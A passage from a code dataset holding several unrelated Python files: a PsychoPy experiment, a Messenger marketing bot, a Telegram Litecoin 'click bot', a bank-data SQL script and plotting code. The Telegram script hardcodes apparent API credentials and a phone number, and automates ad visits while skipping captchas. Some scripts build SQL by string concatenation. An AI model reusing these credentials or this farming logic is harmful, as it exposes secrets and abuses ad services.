[]\n\n for dot in range(n_dots):\n\n dot_x = random.uniform(-300, 100)\n dot_y = random.uniform(-200, 200)\n\n dot_xys.append([dot_x, dot_y])\n #dot_xys = np.random.normal(0,1,[256,256])\n\n#Gradient der Punkte\n randomGradient = []\n\n for dot in range(n_dots):\n\n randomNumber = random.gauss (127.5, 100)\n \n randomGradient.append([randomNumber,randomNumber,randomNumber])\n\n#Erstellen der Punkte\n dot_stim = visual.ElementArrayStim(\n win=v_winObj,\n units=\"pix\",\n nElements=n_dots,\n elementTex=None,\n elementMask=\"gauss\",\n xys=dot_xys,\n sizes=3,\n colors=randomGradient,\n colorSpace='rgb255'\n )\n return dot_stim\n#Ausführen der Zufallszahlenfunktion\ndot_Zeichnung = newRand()\n\n \n\n\n\n# Zeichnen?\n#v_kreisObj.draw()\n#v_kreisObj2.draw()\n#dot_stim.draw()\n\n\n\n#v_winObj.flip()\n\n\n\n\n# notwendig?\nv_targetKreis = visual.Circle(v_winObj, radius=20, pos=[290, 75])\nv_targetKreis2 = visual.Circle(v_winObj, radius=20, pos=[290, 0])\nv_stop = visual.Circle(v_winObj, radius=20, pos=[290,-150])\n\n\n\nwhile not v_mausObj.isPressedIn(v_stop):\n v_winObj.flip()\n v_instruktion.draw()\n v_kreisObj.draw()\n v_kreisObj2.draw()\n v_nichtVorhanden.draw()\n v_vorhanden.draw()\n v_instruktionCounter.draw()\n v_stop.draw()\n v_nextObj.draw()\n v_instruktionNext.draw()\n # while (answerNotPressed == 1):\n dot_Zeichnung.draw()\n \n # print(\"Vorhanden:\" % counterV)\n # print(\"Nicht Vorhanden:\" % counterNV)\n \n \n \n\n if (v_mausObj.isPressedIn(v_kreisObj)):\n if (newPicture == 0):\n newPicture = 1\n counterV = counterV + 1\n stringCountV = \"CountV:%s\"%(counterV)\n v_instruktionCounter = visual.TextStim(v_winObj, stringCountV +\" \"+ stringCountNV, pos =[260, 280])\n \n # v_instruktionCounter.draw()\n \n if (v_mausObj.isPressedIn(v_kreisObj2)):\n if (newPicture == 0):\n newPicture = 1\n counterNV = counterNV + 1\n stringCountNV = \"CountNV:%s\"%(counterNV)\n v_instruktionCounter = visual.TextStim(v_winObj, stringCountV +\" \"+ stringCountNV, pos =[260, 280])\n \n #erstelle neue Zufallsgaus\n if v_mausObj.isPressedIn(v_nextObj):\n dot_Zeichnung = newRand() \n newPicture = 0\n \nif (v_mausObj.isPressedIn(v_stop)):\n v_winObj.close()\n \n\n","sub_path":"Batchelorprojekt1.1.py","file_name":"Batchelorprojekt1.1.py","file_ext":"py","file_size_in_byte":4030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"155988802","text":"import os\nimport sys\nimport json\nfrom datetime import datetime\n\nimport requests\nfrom flask import Flask, request\nfrom employee import *\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET'])\ndef verify():\n # when the endpoint is registered as a webhook, it must echo back\n # the 'hub.challenge' value it receives in the query arguments\n if request.args.get(\"hub.mode\") == \"subscribe\" and request.args.get(\"hub.challenge\"):\n if not request.args.get(\"hub.verify_token\") == os.environ[\"VERIFY_TOKEN\"]:\n return \"Verification token mismatch\", 403\n return request.args[\"hub.challenge\"], 200\n\n return \"Hello world\", 200\n\n@app.route('/', methods=['POST'])\ndef webhook():\n # endpoint for processing incoming messaging events\n\n data = request.get_json()\n log(data) # you may not want to log every incoming message in production, but it's good for testing\n phone =\"\"\n mail_add =\"\"\n if data[\"object\"] == \"page\":\n\n for entry in data[\"entry\"]:\n for messaging_event in entry[\"messaging\"]:\n if messaging_event.get(\"message\"): # someone sent us a message\n sender_id = messaging_event[\"sender\"][\"id\"] # the facebook ID of the person sending you the message\n recipient_id = messaging_event[\"recipient\"][\"id\"] # the recipient's ID, which should be your page's facebook ID\n message_text = messaging_event[\"message\"][\"text\"] # the message's text\n fb_name = get_infor(sender_id)\n\n if message_text == 'Giai phap khac':\n send_message(sender_id,\"vmarketing\")\n send_quick_reply(sender_id, \"vmarketing\")\n\n elif message_text == 'Tu van sau':\n web_view(sender_id,\"vmarketing\")\n\n elif message_text == 'Tu van ngay':\n send_mes(sender_id,'Nhan vien cua chung toi se tu van cho ban ve cac giai phap cua Vmarketing.')\n name =\"\"\n phone= \"\"\n email_add =\"\"\n if message_text.find('@vivas.vn') != -1:\n res = message_text.split('&')\n name = res[0]\n phone = res[2]\n email_add = res[1]\n if email_add != \"\":\n send_mes(sender_id,\"Cam on ban da nhap thong tin thanh cong.\")\n insert_employee(fb_name,sender_id,name,phone,email_add)\n\n if messaging_event.get(\"postback\"): # user clicked/tapped \"postback\" button in earlier message\n sender_id = messaging_event[\"sender\"][\"id\"] # the facebook ID of the person sending you the message\n recipient_id = messaging_event[\"recipient\"][\"id\"]\n name = get_infor(sender_id)\n if messaging_event['postback']['payload'] == \"{\\\"type\\\":\\\"legacy_reply_to_message_action\\\",\\\"message\\\":\\\"Get Started\\\"}\":\n tmp = json.dumps(messaging_event['postback'])\n ref =\"\"\n if tmp.find('referral') != -1:\n ref = messaging_event['postback']['referral']['ref']\n if ref ==\"employee\":\n get_infor_employee(sender_id,\"Vui long nhap day du thong tin cua ban :\\n Dinh dang : && \\n VD: Nguyen Van A&anv@vivas.vn&0919090084\") \n elif ref !=\"employee\":\n send_mes(sender_id, 'Chung toi quan niem: \"Dung ep doanh nghiep linh hoat theo giai phap ma phai dem den giai phap linh hoat voi doanh nghiep\"')\n send_attachment(sender_id,\"vmarketing\")\n send_quick_reply(sender_id, \"vmarketing\")\n \n \n return \"ok\", 200\n\ndef get_infor(sender_id):\n url = \"https://graph.facebook.com/{0}\".format(sender_id)\n payload = { \n \"fields\": \"name,gender\",\n \"access_token\": os.environ[\"PAGE_ACCESS_TOKEN\"] \n }\n r = requests.get(url,params = payload)\n result = json.loads(r.text)\n return result['name']\n\n#ham nhap TT nhan vien\ndef get_infor_employee(recipient_id, message_text):\n\n log(\"get infor to {recipient}: {text}\".format(recipient=recipient_id, text=message_text))\n\n params = {\n \"access_token\": os.environ[\"PAGE_ACCESS_TOKEN\"]\n } \n headers = {\n \"Content-Type\": \"application/json\",\n \"charset\": \"utf-8\"\n }\n data = json.dumps({\n \"recipient\": {\n \"id\": recipient_id\n },\n \"message\": { \n \"text\": message_text\n }\n })\n r = requests.post(\"https://graph.facebook.com/v4.0/me/messages\", params=params, headers=headers, data=data)\n if r.status_code != 200:\n log(r.status_code)\n log(r.text)\n\ndef send_mes(recipient_id, message_text):\n\n log(\"sending mes to {recipient}: {text}\".format(recipient=recipient_id, text=message_text))\n\n params = {\n \"access_token\": os.environ[\"PAGE_ACCESS_TOKEN\"]\n } \n headers = {\n \"Content-Type\": \"application/json\",\n \"charset\": \"utf-8\"\n }\n data = json.dumps({\n \"recipient\": {\n \"id\": recipient_id\n },\n \"message\": { \n \"text\": message_text\n }\n })\n r = requests.post(\"https://graph.facebook.com/v4.0/me/messages\", params=params, headers=headers, data=data)\n if r.status_code != 200:\n log(r.status_code)\n log(r.text)\n\n#ham gui tin nhan\ndef send_message(recipient_id, message_text):\n\n log(\"sending message to {recipient}: {text}\".format(recipient=recipient_id, text=message_text))\n\n params = {\n \"access_token\": os.environ[\"PAGE_ACCESS_TOKEN\"]\n }\n headers = {\n \"Content-Type\": \"application/json\"\n }\n data = json.dumps({\n \"recipient\": {\n \"id\": recipient_id\n },\n \"message\": {\n \"attachment\":{\n \"type\":\"template\",\n \"payload\":{\n \"template_type\":\"generic\",\n \"elements\":[\n {\n \"title\":\"Vmarketing\",\n \"image_url\":\"https://i.imgur.com/aRdFyEH.png\",\n \"buttons\":[\n {\n \"type\": \"web_url\",\n \"url\": \"https://solutions.vmarketing.vn/loyalty-program/\",\n \"title\":\"Loyalty Programs\",\n \"webview_height_ratio\": \"tall\",\n \"messenger_extensions\": True,\n },\n {\n \"type\": \"web_url\",\n \"url\": \"https://cloudcall.vmarketing.vn/cloudcall-tong-dai-doanh-nghiep-ip-pbx/\",\n \"title\":\"Cloud Call\",\n \"webview_height_ratio\": \"tall\",\n \"messenger_extensions\": True,\n }\n\n ] \n }\n ]\n }\n }\n }\n })\n r = requests.post(\"https://graph.facebook.com/v4.0/me/messages\", params=params, headers=headers, data=data)\n if r.status_code != 200:\n log(r.status_code)\n log(r.text)\n\n#ham gui hinh anh va nut\ndef send_attachment(recipient_id,message_text):\n log(\"sending attachment to {recipient}: {text}\".format(recipient=recipient_id, text=message_text))\n\n params = {\n \"access_token\": os.environ[\"PAGE_ACCESS_TOKEN\"]\n }\n headers = {\n \"Content-Type\": \"application/json\"\n }\n data = json.dumps({\n \"recipient\": {\n \"id\": recipient_id\n },\n \"message\": {\n \"attachment\":{\n \"type\":\"template\",\n \"payload\":{\n \"template_type\":\"generic\",\n \"elements\":[\n {\n \"title\":\"Vmarketing\",\n \"image_url\":\"https://i.imgur.com/aRdFyEH.png\",\n \"buttons\":[\n {\n \"type\": \"web_url\",\n \"url\": \"https://solutions.vmarketing.vn/chatbots-communication/\",\n \"title\":\"Chatbot Marketing\",\n \"webview_height_ratio\": \"tall\",\n \"messenger_extensions\": True,\n },\n {\n \"type\": \"web_url\",\n \"url\": \"https://solutions.vmarketing.vn/mobile-marketing-solutions-giai-phap-tich-hop/\",\n \"title\":\"Mobile Marketing\",\n \"webview_height_ratio\": \"tall\",\n \"messenger_extensions\": True,\n },\n {\n \"type\": \"web_url\",\n \"url\": \"https://solutions.vmarketing.vn/o2o-solutions/\",\n \"title\":\"Online to Offline\",\n \"webview_height_ratio\": \"tall\",\n \"messenger_extensions\": True,\n }\n \n ] \n }\n ]\n }\n }\n }\n })\n r = requests.post(\"https://graph.facebook.com/v4.0/me/messages\", params=params, headers=headers, data=data)\n if r.status_code != 200:\n log(r.status_code)\n log(r.text)\n\n#hàm gửi tin nhắn đầu tiên - attachment, button\ndef send_attachment_button(recipient_id,message_text):\n log(\"sending attachment to {recipient}: {text}\".format(recipient=recipient_id, text=message_text))\n\n params = {\n \"access_token\": os.environ[\"PAGE_ACCESS_TOKEN\"]\n }\n headers = {\n \"Content-Type\": \"application/json\"\n }\n data = json.dumps({ \n \"recipient\": {\n \"id\":recipient_id\n },\n \"message\": {\n \"attachment\": {\n \"type\":\"template\",\n \"payload\": {\n \"template_type\":\"one_time_notif_req\",\n \"title\":\"Mobile\",\n \"payload\":\"{\\\"type\\\":\\\"legacy_reply_to_message_action\\\",\\\"message\\\":\\\"mobile\\\"}\"\n }\n }\n }\n })\n r = requests.post(\"https://graph.facebook.com/v4.0/me/messages\", params=params, headers=headers, data=data)\n if r.status_code != 200:\n log(r.status_code)\n log(r.text)\n\n\n#ham cau tra loi nhanh\ndef send_quick_reply(recipient_id,message_text):\n log(\"sending quick reply to {recipient}: {text}\".format(recipient=recipient_id, text=message_text))\n params = {\n \"access_token\": os.environ[\"PAGE_ACCESS_TOKEN\"]\n }\n headers = {\n \"Content-Type\": \"application/json\"\n }\n data = json.dumps({ \n \"recipient\": {\n \"id\": recipient_id\n },\n \"messaging_type\": \"RESPONSE\",\n \"message\":{\n \"text\": \"Ban co can them thong tin gi ve Vmarketing khong nhi?\",\n \"quick_replies\":[\n {\n \"content_type\":\"text\",\n \"title\": 'Giai phap khac',\n \"payload\": \"{\\\"type\\\":\\\"legacy_reply_to_message_action\\\",\\\"message\\\":\\\"giai phap\\\"}\"\n \n },\n {\n \"content_type\":\"text\",\n \"title\":'Tu van ngay',\n \"payload\": \"{\\\"type\\\":\\\"legacy_reply_to_message_action\\\",\\\"message\\\":\\\"chat\\\"}\"\n \n },\n {\n \"content_type\":\"text\",\n \"title\": 'Tu van sau',\n \"payload\": \"{\\\"type\\\":\\\"legacy_reply_to_message_action\\\",\\\"message\\\":\\\"tu van\\\"}\"\n \n }\n ]\n }\n })\n r = requests.post(\"https://graph.facebook.com/v4.0/me/messages\", params=params, headers=headers, data=data)\n if r.status_code != 200:\n log(r.status_code)\n log(r.text)\n\n#de lai thong tin tu van -> hien thi webview\ndef web_view(recipient_id,message_text):\n log(\"sending web view to {recipient}: {text}\".format(recipient=recipient_id, text=message_text))\n params = {\n \"access_token\": os.environ[\"PAGE_ACCESS_TOKEN\"]\n }\n headers = {\n \"Content-Type\": \"application/json\"\n }\n data = json.dumps({ \n \"recipient\": {\n \"id\": recipient_id\n },\n \"message\": {\n \"attachment\":{\n \"type\":\"template\",\n \"payload\":{\n \"template_type\":\"generic\",\n \"elements\":[\n {\n \"title\":\"Vui long de lai thong tin lien he cua ban de chung toi tu van nhe!\",\n \"buttons\":[\n {\n \"type\": \"web_url\",\n \"url\": \"https://forms.gle/HxmSVwgTHv21Qq957\",\n \"title\": \"Nhap thong tin\",\n \"webview_height_ratio\": \"tall\",\n \"messenger_extensions\": True,\n }\n ]\n } ] \n } }\n }\n\n })\n r = requests.post(\"https://graph.facebook.com/v4.0/me/messages\", params=params, headers=headers, data=data)\n if r.status_code != 200:\n log(r.status_code)\n log(r.text)\n\n\ndef log(msg, *args, **kwargs): # simple wrapper for logging to stdout on heroku\n try:\n if type(msg) is dict:\n msg = json.dumps(msg)\n else:\n msg = unicode(msg).format(*args, **kwargs)\n print (u\"{}: {}\".format(datetime.now(), msg))\n except UnicodeEncodeError:\n pass # squash logging errors in case of non-ascii text\n sys.stdout.flush()\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"6521248","text":"#Jangan Di ubah ubah cuk kodennya nanti erorr\n#Impor\nfrom telethon import TelegramClient, sync, events\nfrom telethon.tl.functions.messages import GetHistoryRequest, GetBotCallbackAnswerRequest\nfrom telethon.errors import SessionPasswordNeededError\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nimport requests, json, re, sys, os\nimport colorama\nfrom colorama import Fore, Back, Style\nfrom datetime import datetime\n\n#warna\ncolorama.init(autoreset=True)\nhijau = Style.RESET_ALL+Style.BRIGHT+Fore.GREEN\nhijau2 = Style.NORMAL+Fore.GREEN\nputih = Style.RESET_ALL\nabu = Style.DIM+Fore.WHITE\nungu = Style.RESET_ALL+Style.BRIGHT+Fore.MAGENTA\nungu2 = Style.NORMAL+Fore.MAGENTA\nyellow = Style.RESET_ALL+Style.BRIGHT+Fore.YELLOW\nyellow2 = Style.NORMAL+Fore.YELLOW\nred = Style.RESET_ALL+Style.BRIGHT+Fore.RED\nred2 = Style.NORMAL+Fore.RED\n\ndef balance_history_log(phone, bot_number,balance_value, apiid, apihash):\n if balance_value.startswith('Available balance:'):\n today = datetime.now()\n balance_value = balance_value.replace(\".\",\",\")\n balance_history = phone_number + ';' + bot + ';' + str(today) + ';' + balance_value +'\\n' \n insertbot = bot_number+\";\"+'insert into ltcbottelegram.bots values('+bot_number+','+'\"'+phone_number+'\",'+api_id+','+'\"'+api_hash+'\")'+'\\n'\n print(balance_history)\n f = open(\"/storage/emulated/0/Download/bot_ltc/ltcbot_telegram/balance_history.txt\",\"a\")\n f.write(balance_history)\n f.close()\n f2 = open(\"/storage/emulated/0/Download/bot_ltc/ltcbot_telegram/sqlbots.txt\",\"a\")\n f2.write(insertbot)\n f2.close()\n\n#banner\nprint (\"===================================================\")\nprint (\"~Telegram Click bot Tuyul~\")\nprint (\"AUTHOR: RIANTO\")\nprint (\"Youtube: Master Termux Indonesia\")\nprint (\"Suport&thanks: Jejaka Tutorial\")\nprint (\"MODIFIED: dcardonac31\")\nprint (\"https://github.com/dcardonac31\")\nprint (\"===================================================\")\n\n#Sistem_Script\nif not os.path.exists('session'):\n os.makedirs('session')\n\napi_id = '2786721'\napi_hash = '769e37f044420fb5ad04a5097baee5e3'\nphone_number = '+573126563915'\nbot = '32'\nprint(bot)\nprint(phone_number)\n\nclient = TelegramClient('session/'+phone_number,api_id,api_hash)\nclient.connect()\nif not client.is_user_authorized():\n try:\n client.send_code_request(phone_number)\n me = client.sign_in(phone_number,input('{}Masukan Code Anda {}>>{} '.format(hijau,abu,putih)))\n except SessionPasswordNeededError:\n password = input('{}Masukan Password 2fa Anda {}>>{} '.format(hijau,abu,putih))\n me = client.start(phone_number,password)\n\nchannel_username = '@Litecoin_click_bot'\n\n\nc = requests.session()\n\nua = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36'\n}\n\nchannel_entity = client.get_entity(channel_username)\ntry:\n for ulang in range(999999999): \n sys.stdout.write('\\r \\r')\n sys.stdout.write('\\r{}Trying to Fetch the URL'.format(yellow2))\n client.send_message(entity=channel_entity,message='🖥 Visit sites')\n sleep(3)\n message_history = client(GetHistoryRequest(peer=channel_entity,limit=1,offset_date=None,offset_id=0,max_id=0,min_id=0,add_offset=0,hash=0))\n channel_id = message_history.messages[0].id\n if message_history.messages[0].message.find('Sorry, there are no new ads available.') != -1:\n sys.stdout.write('\\r \\r')\n sys.stdout.write('\\r{}Sorry, there are no new ads available.\\n'.format(red2))\n break\n url = message_history.messages[0].reply_markup.rows[0].buttons[0].url\n sys.stdout.write('\\r \\r')\n sys.stdout.write('\\r{}Visit To URL {}'.format(yellow2,putih)+url)\n\n r = c.get(url,headers=ua)\n soup = BeautifulSoup(r.text,\"html.parser\")\n\n if soup.find('div',class_='g-recaptcha') is None and soup.find('div',id='headbar') is None:\n sleep(2)\n message_history = client(GetHistoryRequest(peer=channel_entity,limit=1,offset_date=None,offset_id=0,max_id=0,min_id=0,add_offset=0,hash=0))\n message = message_history.messages[0].message\n sys.stdout.write('\\r \\r')\n sys.stdout.write('\\r'+yellow+message)\n if message_history.messages[0].message.find('Please stay on') != -1 or message_history.messages[0].message.find('You must stay') != -1:\n timer = re.findall(r'([\\d.]*\\d+)',message)\n sleep(int(timer[0]))\n sleep(3)\n message_history = client(GetHistoryRequest(peer=channel_entity, limit=1, offset_date=None, offset_id=0, max_id=0, min_id=0,add_offset=0, hash=0))\n sys.stdout.write('\\r \\r')\n sys.stdout.write('\\r{}'.format(hijau)+message_history.messages[0].message+'\\n')\n\n elif soup.find('div',id='headbar') is not None:\n for data in soup.find_all('div',class_='container-fluid'):\n code = data.get('data-code')\n timer = data.get('data-timer')\n token = data.get('data-token')\n sleep(int(timer))\n r = c.post('https://dogeclick.com/reward',data={'code': code, 'token': token},headers=ua)\n jsn = json.loads(r.text)\n sys.stdout.write('\\r \\r')\n sys.stdout.write(hijau+\"\\rYou earned \"+jsn['reward']+\" LTC for visiting sites\\n\")\n else:\n sys.stdout.write('\\r \\r')\n sys.stdout.write(red+'\\rCaptcha detected')\n sleep(2)\n client(GetBotCallbackAnswerRequest(channel_username,channel_id,data=message_history.messages[0].reply_markup.rows[1].buttons[1].data))\n sys.stdout.write('\\r \\r')\n print (red+'\\rSuccessfully Skip Captcha\\n')\n\n client.send_message(entity=channel_entity,message='balance')\n sleep(6)\n message_history = client(GetHistoryRequest(peer=channel_entity,limit=1,offset_date=None,offset_id=0,max_id=0,min_id=0,add_offset=0,hash=0))\n balance_history_log(phone_number,bot, message_history.messages[0].message, api_id, api_hash)\nexcept:\n client.send_message(entity=channel_entity,message='balance')\n sleep(6)\n message_history = client(GetHistoryRequest(peer=channel_entity,limit=1,offset_date=None,offset_id=0,max_id=0,min_id=0,add_offset=0,hash=0))\n balance_history_log(phone_number,bot, message_history.messages[0].message, api_id, api_hash)\n print(red+\"ERROR Detected\")\n sys.exit()","sub_path":"BotsOld/bot32.py","file_name":"bot32.py","file_ext":"py","file_size_in_byte":6928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"430648746","text":"import MySQLdb\nimport datetime\nfrom hostInfo_yoda import *\ntoday = datetime.date.today()\ntodayStr = str(today)\n#todayStr = today\npostStr = todayStr\nminrate = 0.0\nmaxrate = 0.90\n#####################INPUTS################################################\nfdiccert = []\nbankaba = []\nbankacct = []\noption = []\namount = []\n# each variable must inserted, even if it is empty\nfdiccert.append(\"57053\")\nbankaba.append(\"026013576\")\nbankacct.append(\"1501538902\")\noption.append(\"Guaranteed\")\namount.append(\"0.0\")\n\nfdiccert.append(\"57053\")\nbankaba.append(\"026013576\")\nbankacct.append(\"1502105023\")\noption.append(\"Guaranteed\")\namount.append(\"0.0\")\n###########################################################################\ndb = MySQLdb.connect(host = host_,user = user_, passwd = password_, db = datebase_)\ncur = db.cursor()\n\ncur.execute(\"SELECT fdiccert, bankaba, bankaccount, newbalance, minamount, maxamount, newbalance-minamount, max_savings_rate, newcf, wdmax-wdcount wdleft FROM bankbalances WHERE newbalance > 0 AND max_savings_rate >= \" + str(minrate) + \" AND max_savings_rate < \" + str(maxrate) +\" ORDER BY max_savings_rate \")\ndb.commit()\nbankData = cur.fetchall()[0:]\nBank = {}\n\nfor i in range(len(fdiccert)):\n query=\"INSERT persistentblocks VALUE (\\'\" + postStr + \"\\', \\'\" + fdiccert[i] + \"\\', \\'\"+ bankaba[i] + \"\\', \\'\"+ bankacct[i] + \"\\', \\'\" + option[i] + \"\\', \\'\"+ amount[i] + \"')\"\n print(query)\n #cur.execute(query)\n #db.commit()\n\n \ndb.close()\n","sub_path":"persistentBlock/BusinessPB.py","file_name":"BusinessPB.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"439702495","text":"## Numerical Gradient\n## The derivative can be thought of as a force on each input as well pull on the output to become hight\n\nimport numpy as np\n\ndef forwardMultiplyGate(x,y):\n return x*y\n\nx = -2\ny = 3\n\nout = forwardMultiplyGate(x,y)\nh = 0.0001\n\n# compute derivative with respect to x\nxph = x + h\nout2 = forwardMultiplyGate(xph,y)\nx_derivative = (out2 - out) / h\n\nyph = y + h\nout3 = forwardMultiplyGate(x,yph)\ny_derivative = (out3 - out) / h\n\nprint(out)\nprint(out2)\nprint(out3)\nprint(x_derivative)\nprint(y_derivative)\n\n## The derivative with respect to some input can be computed by tweaking that input by a small amount and observing the change on the ouput value\n## The gradient is a concatenation of gradient towards all variables\n\nstep_size = 0.01\nout = forwardMultiplyGate(x,y)\nprint(out)\n\nx = x + step_size * x_derivative\ny = y + step_size * y_derivative\nout_new = forwardMultiplyGate(x,y)\nprint(out_new)\n\n","sub_path":"NN/NN2.py","file_name":"NN2.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"152851538","text":"import sys\r\n\r\nlines = open(sys.argv[1], 'r')\r\nfor line in lines:\r\n line = line.replace('\\n', '').replace('\\r', '')\r\n if len(line) > 0:\r\n numbers = []\r\n words = []\r\n for part in line.split(','):\r\n if part.isdigit():\r\n numbers.append(part)\r\n else:\r\n words.append(part)\r\n print(','.join(words) + ('|' if len(words) > 0 and len(numbers) > 0 else '') + ','.join(numbers))\r\n\r\nlines.close()\r\n","sub_path":"Easy/Mixed Content/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"370668722","text":"#!/usr/bin/env python\nimport Utilities.plot_functions as plotter\nimport Utilities.helper_functions as helper\nimport argparse\nimport ROOT\nimport Utilities.config_object as config_object\nimport Utilities.UserInput as UserInput\nimport os\nfrom Utilities.ConfigHistFactory import ConfigHistFactory \nfrom Utilities.prettytable import PrettyTable\nimport math\nimport sys\nimport array\nimport datetime\nfrom Utilities.scripts import makeSimpleHtml\nfrom IPython import embed\nimport logging\n\ndef getComLineArgs():\n parser = UserInput.getDefaultParser()\n parser.add_argument(\"-s\", \"--selection\", type=str, required=True,\n help=\"Specificy selection level to run over\")\n parser.add_argument(\"--latex\", action='store_true', help='table in latex format')\n parser.add_argument(\"--scale\", type=str, choices=['none', 'noXsec'], \n default='', help=\"type of scaling\")\n parser.add_argument(\"-r\", \"--object_restrict\", type=str, default=\"\",\n help=\"Use modified object file\")\n parser.add_argument(\"-b\", \"--branches\", type=str, default=\"all\",\n help=\"List (separate by commas) of names of branches \"\n \"in root and config file to plot\") \n parser.add_argument(\"-m\", \"--make_cut\", type=str, default=\"\",\n help=\"Enter a valid root cut string to apply\")\n parser.add_argument(\"--blinding\", type=list, default=[\"Mass < 400\",\n \"Pt < 200\", \"mjj < 500\", \"dEtajj < 2.5\", \"MTWZ < 400\"],\n help=\"Blinding cuts to apply (only to that distribution)\")\n return parser.parse_args()\n\nlog_info = \"\"\n\ndef writeMCLogInfo(hist_info, selection, branch_name, luminosity, cut_string, latex):\n mc_info = PrettyTable([\"Plot Group\", \"Weighted Events\", \"Error\", \"Stat Error\", \"Raw Events\"])\n weighted_events = 0\n total_background = 0\n background_err = 0\n total_err2 = 0\n signal = 0\n signal_err = 0\n for plot_set, entry in hist_info.iteritems():\n wevents = round(entry[\"weighted_events\"], 3 if entry[\"weighted_events\"] < 1 else 2) \n mc_info.add_row([plot_set, wevents, \n round(entry[\"error\"],2),\n round(entry[\"stat error\"],2),\n int(round(entry[\"raw_events\"]))]\n )\n weighted_events += entry[\"weighted_events\"]\n total_err2 += entry[\"error\"]**2\n if \"wz\" not in plot_set:\n total_background += entry[\"weighted_events\"]\n background_err += entry[\"error\"]*entry[\"error\"]\n else:\n signal += entry[\"weighted_events\"]\n signal_err += entry[\"error\"]\n total_err = math.sqrt(total_err2)\n likelihood = 0 if weighted_events <= 0 else \\\n signal/math.sqrt(weighted_events)\n likelihood_err = 0 if signal <= 0 or weighted_events <= 0 else \\\n likelihood*math.sqrt((signal_err/signal)**2 + \\\n (0.5*total_err/weighted_events)**2)\n sigbkgd = 0 if weighted_events <= 0 else signal/weighted_events\n sigbkgd_err = 0 if signal <= 0 or weighted_events <= 0 else \\\n sigbkgd*math.sqrt((signal_err/signal)**2 + (total_err/weighted_events)**2)\n if weighted_events == 0:\n raise RuntimeError(\"Empty histogram produced for variable \" + branch_name)\n with open(\"temp.txt\", \"a\") as mc_file:\n mc_file.write(\"\\n\"+(mc_info.get_string() if not latex else mc_info.get_latex_string())+\"\\n\")\n mc_file.write(\"\\nTotal sum of Monte Carlo: %0.2f +/- %0.2f\" % (round(weighted_events, 2), \n round(math.sqrt(sum([x[\"error\"]*x[\"error\"] for x in hist_info.values()])), 2)))\n mc_file.write(\"\\nTotal sum of background Monte Carlo: %0.2f +/- %0.2f\" % (round(total_background, 2), \n round(math.sqrt(background_err), 2)))\n mc_file.write(\"\\nRatio S/(S+B): %0.2f +/- %0.2f\" % (round(sigbkgd, 2), \n round(sigbkgd_err, 2)))\n mc_file.write(\"\\nRatio S/sqrt(S+B): %0.2f +/- %0.2f\" % (round(likelihood, 2), \n round(likelihood_err, 2)))\ndef getStacked(name, config_factory, selection, filelist, branch_name, channels, blinding, addOverflow, latex,\n cut_string=\"\", luminosity=1, rebin=0, uncertainties=\"none\", hist_file=\"\", scaleType=''):\n hist_stack = ROOT.THStack(name, \"\")\n ROOT.SetOwnership(hist_stack, False)\n hist_info = {}\n for plot_set in filelist:\n if hist_file == \"\":\n hist = helper.getConfigHistFromTree(config_factory, plot_set, selection, \n branch_name, channels, blinding, luminosity, addOverflow, rebin, cut_string, \n uncertainties)\n else:\n hist = helper.getConfigHistFromFile(hist_file, config_factory, plot_set, \n selection, branch_name, channels, luminosity, addOverflow=addOverflow, \n rebin=rebin, scaleType=scaleType)\n if luminosity < 0:\n hist.Scale(1/hist.Integral())\n raw_events = hist.GetEntries() - 1\n hist_stack.Add(hist)\n error = array.array('d', [0])\n weighted_events = hist.IntegralAndError(0, hist.GetNbinsX(), error)\n if not hist.GetSumw2(): hist.Sumw2()\n hist_info[plot_set] = {'raw_events' : raw_events, \n 'weighted_events' : weighted_events,\n 'error' : 0 if int(raw_events) <= 0 else error[0],\n 'stat error' : 0 if raw_events <= 0 else \\\n weighted_events/math.sqrt(raw_events) \n }\n writeMCLogInfo(hist_info, selection, branch_name, luminosity, cut_string, latex)\n return hist_stack\ndef main():\n args = getComLineArgs()\n logging.basicConfig(level=(logging.DEBUG if args.debug else (logging.ERROR if args.quiet else logging.INFO)))\n\n ROOT.gROOT.SetBatch(True)\n ROOT.gStyle.SetOptDate(0)\n if args.hist_file == \"\":\n ROOT.TProof.Open('workers=12')\n filelist = UserInput.getListOfFiles(args.files_to_plot, args.selection)\n path = \"/cms/kdlong\" if \"hep.wisc.edu\" in os.environ['HOSTNAME'] else \\\n \"/afs/cern.ch/user/k/kelong/work\"\n config_factory = ConfigHistFactory(\n \"%s/AnalysisDatasetManager\" % path,\n #args.selection.split(\"_\")[0],\n args.selection,\n args.object_restrict\n )\n branches = config_factory.getListOfPlotObjects() if args.branches == \"all\" \\\n else [x.strip() for x in args.branches.split(\",\")]\n cut_string = args.make_cut\n (plot_path, html_path) = helper.getPlotPaths(args.selection, args.folder_name, True)\n meta_info = '-'*80 + '\\n' + \\\n 'Script called at %s\\n' % datetime.datetime.now() + \\\n 'The command was: %s\\n' % ' '.join(sys.argv) + \\\n '-'*80 + '\\n'\n for branch in branches:\n hist_stacks = []\n signal_stacks = []\n data_hists = []\n for branch_name in branch.split(\"+\"):\n with open(\"temp.txt\", \"w\") as mc_file:\n mc_file.write(meta_info)\n mc_file.write(\"Selection: %s\" % args.selection)\n mc_file.write(\"\\nAdditional cut: %s\" % (\"None\" if cut_string == \"\" else cut_string))\n mc_file.write(\"\\nLuminosity: %0.2f fb^{-1}\" % (args.luminosity))\n mc_file.write(\"\\nPlotting branch: %s\\n\" % branch_name)\n try:\n hist_stack = getStacked(\"stack_\"+branch_name, config_factory, args.selection, filelist, \n branch_name, args.channels, args.blinding, not args.no_overflow, args.latex, cut_string,\n args.luminosity, 